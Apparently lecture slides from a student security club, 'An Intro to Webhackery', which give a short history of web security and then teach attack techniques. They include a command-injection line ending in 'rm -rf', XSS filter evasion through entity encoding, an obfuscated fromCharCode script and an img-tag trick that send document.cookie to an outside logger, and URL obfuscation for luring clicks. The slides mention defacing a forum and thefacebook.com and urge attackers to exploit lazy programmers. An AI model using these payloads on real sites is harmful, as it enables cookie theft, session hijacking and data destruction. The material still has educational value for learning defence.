An Intro to Webhackery

Parisa Tabriz

How the web was born

- Stage 1 : Network Protocols
- Stage 2 : HTTP
- Stage 3 : Server Side Scripting
- Stage 4 : Client Side Scripting

Stage 1 : Network Protocols

- Late 1970's, Internet is a collection of TCP/IP networks by scientists and researchers.
- Main services include email, finger, ftp, telnet
- Services sit on top of existing protocols so people don't have to know how protocols work

Stage 1 : Security Risks

- Application Specific – Email could be forged
- Protocol Specific – Steve Belevin pointed out flaws in TCP/IP
- Design of the Internet – Homogeneous environment is greatest strength and weakness.

Stage 2 : HTTP

- HTTP protocol, HTML format
- Early 1990's, Mosaic browser introduced
- Netscape Navigator introduces helper applications (postscript/image viewers, audio/video players)

Stage 2 : Security Threat

- Many applications are running the same software on the same protocol

Stage 3 : Server Scripting

- CGI Scripts – Allow users to create dynamic content.
- Magazines start using the web as a media outlet, large companies have web pages, search engines developed

Stage 3 : Security Threats

- Increased threat to web servers as many CGI scripts run with full privileges.
- User input is piped to command interpreter

```
cat filename | mail user@address

cat filename | mail user@address | rm –rf
```

Stage 4 : Client Scripting

- Reduces load on server (more parallelism)
- Java, Javascript, ActiveX
- Ed Felton/Princeton broke the Java bytecode verifier to enable arbitrary native code to run on the machine
- David Hopwood/Oxford found ways to create hostile applets.

Stage 4 : Security Threats

- Code is downloaded and run on host machine.

What is web security?

- Secure the web server!
- Secure the channel between server and client!
- Secure the client, machine running the client, and any other application on the machines that can access the Internet!

Javascript

- First, it's NOT Java! Javascript was developed by Netscape to allow code to be contained in HTML and dynamically change the HTML the browser interprets based on conditions.
- Most Useful Features - User-specified event handlers (ie. mouse handlers, keystroke entries)
- Attacks - Most take user intervention, but creativity can get users to click on anything. People love to click!
- History tracking, retrieving and reading directory listings to learn about target file systems, stealing files,

Javascript Syntax

```
var [varname] = [value];
```

```
<script type="text/javascript">
    <!--
    Code goes in here!
    //-->
</script>
```

http://p.fscked.org/trickortreat/JS1.php

Javascript References

- Beginner-Medium Javascript Tutorial:
  - http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/tutorial1.html
- Javascript Event Handlers:
  - http://www.webdevelopersjournal.com/articles/jsevents2/jsevents2.html
- Advanced Javascript:
  - http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/tutorial2.html
  - http://javascriptkit.com/javatutors/index.shtml

Ad Squashing

- Most free sites will put horrible, blinding banners and ads on their free service sites. Ads hurt me.
- Sites will use some HTML tag to identify where in your page they should insert their ads and banners.
- General tactic is we find which tag is uses as a place marker, if it inserts before or after this tag, and how we can hide the banners.

Ad Squashing Tactics

- <noscript> method

```
<noscript>
<tag> // decoy
</noscipt>
<tag> // real tag
```

- <script>,<style>,<xml> method
  - The banner HTML added by the site will not render according to the tags you use, so most browsers will ignore it.
- Print out the tag

```
<script type="javascript">
<!--
document.write('<'+'t'+'a'+'g'+'>');
//-->
</script>
```

Ad Squashing Tactics

Angelfire- Home to some of the ugliest and most ad-infested sites on the Internet.

- My Homepage
- My Homepage (fixed)

Filtering Avoidance

So let's say we want to spread the good name of SigMIL to the Internet. To get our name out there, we get a brilliant idea to add this to blog and guestbook comments…

```
<script type="javascript">
    document.location=http://www.acm.uiuc.edu/sigmil/;
</script>
```

Filtering Avoidance

- Unfortunately, there is usually some type of filtering going on the server to prevent people from submitting <script> tags.
- Get around this by using Hex values for characters

```
<&#115;cript type="javascript">
    document.location=http://www.acm.uiuc.edu/sigmil/;
</script>
```

Filtering Avoidance

- Getting past Javascript filters can be very powerful…
  - Spoofed email addresses
  - Stealing cookies
  - Causing redirection
- Do testing to find out what tags and characters are being filtered (' " ; | < > / and %)
- Anywhere there is input that is displayed on a page which other people may visit, there is an opportunity to steal information.

Stealing Cookies

Disclaimer: If you need to login to a site, and the site encrypts your cookies, there probably isn't much you will accomplish from stealing cookies.

Stealing Cookies

- Is user input filtered for any characters?
- Example for filtering of ‘ or “

```
<script type=text/javascript>
    var u = String.fromCharCode(0x0068);
    u %2B= String.fromCharCode(0x0074);
    u %2B= String.fromCharCode(0x0074);
    u %2B= String.fromCharCode(0x0070);
    u %2B= String.fromCharCode(0x003A);
    u %2B= String.fromCharCode(0x002F);
    u %2B= String.fromCharCode(0x002F);
    … (url)
    u %2B= document.cookie;
    // http://acm.uiuc.edu/sigmil/cookie.php?USERCOOKIE
    document.location.replace(u);
</script>
```

Stealing Cookies

- Another method is to use image tags that automatically make server requests for you.

<img src=http://acm.uiuc.edu/sigmil/(document.cookie)>

- Steve used this method to deface a forum, and on thefacebook.com

Stealing Cookies

- Hotmail/Javascript Exploit: http://www.peacefire.org/security/hmattach/
- Remote Cookie Viewer Exploit: http://www.peacefire.org/security/iecookies/

Lessons Learned

- Programmer: Never print user input back to the user, filter out mischievous characters (<, >), and pack all url encoding before filtering input.
- Attacker: Realize that programmers are lazy, don’t do the above, and take advantage!

Only an idiot would click!

- No one is going to click on your link if it looks like this:

  http://site.com/vulnscript.php?document.location.relace('http://hacker.org/logger.php?' + document.cookie);

- Obscure the URL
  - onmouseover
  - Convert IP addresses to decimal values
  - .htaccess trickery
    - Normal form: http://username@hacker.org
    - Obscured form: http://microsoft.com/site/dir/helpdesk.asp@hacker.org

SQL Injections

- SQL Injection is a technique which allows us to execute unauthorized SQL commands that build dynamic SQL queries

- Methodology
  1. Escape intended command
  2. Execute desired command
  3. Comment out remaining query

SQL Injections

- Now for some examples…